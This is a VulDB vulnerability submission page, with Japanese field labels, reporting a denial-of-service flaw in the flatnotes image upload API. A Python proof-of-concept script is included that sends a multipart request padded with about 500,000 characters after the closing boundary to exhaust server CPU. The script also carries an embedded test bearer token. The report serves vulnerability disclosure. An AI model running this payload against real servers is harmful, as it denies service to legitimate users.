| タイトル | github dullage 5.3.0 Improper Input Validation |
|---|
| 説明 | Anyone who can log in to flatnotes and upload images through the function can cause DOS , which can prevent others from using it, other API interfaces from being accessed, and server DOS attacks.
Attackers can send the following two POCs, causing the victim's server to be occupied by CPU resources for a long time, unable to process requests from other normal users, thus causing harm to DOS.
```
import requests
url = "http://192.168.137.11:8080/api/attachments"
headers = {
"Authorization": "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ1c2VyIiwiZXhwIjoxNzMzMzg1NzA4fQ.GI9swgQd0pDSP0q4mgLc-pMV94xl4KE5_jJNenZChmc",
"Accept-Language": "zh-CN,zh;q=0.9",
"Accept": "application/json, text/plain, */*",
"Content-Type": "multipart/form-data",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36",
"Origin": "http://192.168.137.11:8080",
"Referer": "http://192.168.137.11:8080/new",
"Accept-Encoding": "gzip, deflate, br",
"Cookie": "token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ1c2VyIiwiZXhwIjoxNzMzMzg1NzA4fQ.GI9swgQd0pDSP0q4mgLc-pMV94xl4KE5_jJNenZChmc",
"Connection": "keep-alive"
}
data = (
"------WebKitFormBoundaryN20AMdlOKTaspeAy\r\n"
"Content-Disposition: form-data; name=\"file\"; filename=\"sword.png\"\r\n"
"Content-Type: image/png\r\n\r\n" + file_content+ "\r\n"
"------WebKitFormBoundaryN20AMdlOKTaspeAy--"+"0123456789"*50000+"\r\n"
)
response = requests.post(url, headers=headers, data=data)
```
|
|---|
| ソース | ⚠️ https://github.com/Startr4ck/CVE_lists/blob/main/flatnotes/flatnotes%20webserver%20dos.md |
|---|
| ユーザー | startr4ck (UID 76213) |
|---|
| 送信 | 2024年12月12日 08:14 (2 年 ago) |
|---|
| モデレーション | 2024年12月16日 09:57 (4 days later) |
|---|
| ステータス | 重複 |
|---|
| VulDBエントリ | 286650 [Kludex python-multipart 迄 0.0.17 上 Python Line Break サービス拒否] |
|---|
| ポイント | 0 |
|---|